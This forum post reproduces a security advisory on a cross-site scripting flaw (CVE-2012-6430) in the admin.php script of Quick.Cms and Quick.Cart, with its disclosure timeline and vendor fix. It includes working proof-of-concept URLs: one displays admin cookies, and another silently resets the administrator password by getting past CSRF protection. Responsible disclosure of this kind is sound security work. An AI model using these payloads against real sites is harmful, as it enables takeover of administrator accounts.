Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 54 guests and 3 members online
 
Advertisement

You are here: Home arrow Ethical Hacking Discussions and Related Certificationsarrow Malwarearrow Advisoriesarrow HTB23135: Cross-Site Scripting (XSS) vulnerability in Quick.Cms and Quick.Cart
EH-Net
May 20, 2013, 10:18:13 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: HTB23135: Cross-Site Scripting (XSS) vulnerability in Quick.Cms and Quick.Cart  (Read 1207 times)
0 Members and 1 Guest are viewing this topic.
AndyP
Newbie
*
Offline Offline

Posts: 32


View Profile
« on: January 10, 2013, 11:52:34 AM »

Advisory ID:   HTB23135
Product:   Quick.Cms, Quick.Cart
Vendor:   OpenSolution team
Vulnerable Versions:   Quick.Cms 5.0, Quick.Cart 6.0 and probably prior
Tested Version:   Quick.Cms 5.0, Quick.Cart 6.0
Vendor Notification:   December 19, 2012
Vendor Fix:   December 20, 2012
Public Disclosure:   January 9, 2013
Vulnerability Type:   Cross-Site Scripting [CWE-79]
CVE Reference:   CVE-2012-6430
CVSSv2 Base Score:   4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:   Fixed by Vendor
Risk Level:   Medium
Discovered and Provided:   High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered XSS vulnerability in Quick.Cms and Quick.Cart - two products developed by OpenSolution team, which can be exploited to perform cross-site scripting attacks.


1. Cross-Site Scripting (XSS) vulnerability in Quick.Cms and Quick.Cart: CVE-2012-6430

The vulnerability exists due to insufficient filtration of user-supplied data in URI in the "admin.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display administrator's cookies:

http://[host]/admin.php/')"></select><script>alert(document.cookie);</script>/

Nevertheless, a remote attacker can create an exploit for this vulnerability to bypass application's CSRF protection mechanism based on the HTTP Referer header and get access to privileged functions of the application. To do so he have to trick a logged-in administrator to click on a malicious link with XSS exploit.

PoC (Prof-of-Concept) code below will change administrator's password to "password":

http://[host]/admin.php/')"></select><form action="http://[host]/admin.php%3fp=tools-config" method="post"><input type="hidden" name="login" value="login"><input type="hidden" name="pass" value="password"><input type="submit" id="btn" name="sOption"></form><script>document.getElementById('btn').click();</script>/

Successful exploitation of the vulnerability requires that Apache directive "AcceptPathInfo" is set to "on" or "default" (default value is "default").

Solution:
Vendor fixed the vulnerabilities without adding information to Changelog.
Upgrade to Quick.Cms 5.0 and Quick.Cart 6.0 released after December 19, 2012

More Information:
http:// opensolution.org/download,en,18.html?sDir=Quick.Cart
http:// opensolution.org/download,en,18.html?sDir=Quick.Cms


References:
[1] High-Tech Bridge Advisory HTB23135 - https://www.htbridge.com/advisory/HTB23135 - Cross-Site Scripting (XSS) vulnerability in Quick.Cms and Quick.Cart.
[2] Quick.Cms and Quick.Cart - opensolution.org - Simple and easy to use or modify content management system (CMS) and shopping cart.
[3] Common Vulnerabilities and Exposures (CVE) - cve.mitre.org - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
« Last Edit: January 11, 2013, 01:31:44 PM by AndyP » Logged
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.04 seconds with 23 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.